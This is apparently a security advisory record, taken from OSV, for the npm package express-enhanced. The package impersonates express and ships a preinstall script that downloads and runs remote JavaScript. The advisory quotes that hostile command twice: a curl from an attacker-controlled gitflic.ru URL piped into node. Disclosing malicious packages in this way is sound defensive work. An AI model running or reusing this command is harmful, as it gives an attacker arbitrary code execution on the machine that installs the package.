Malicious code in express-enhanced (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

[email protected] impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-enhanced and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6) [email protected] impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.

Source published

3 Oct 2026 05:14:21 UTC

Source modified

5 Oct 2026 23:00:07 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.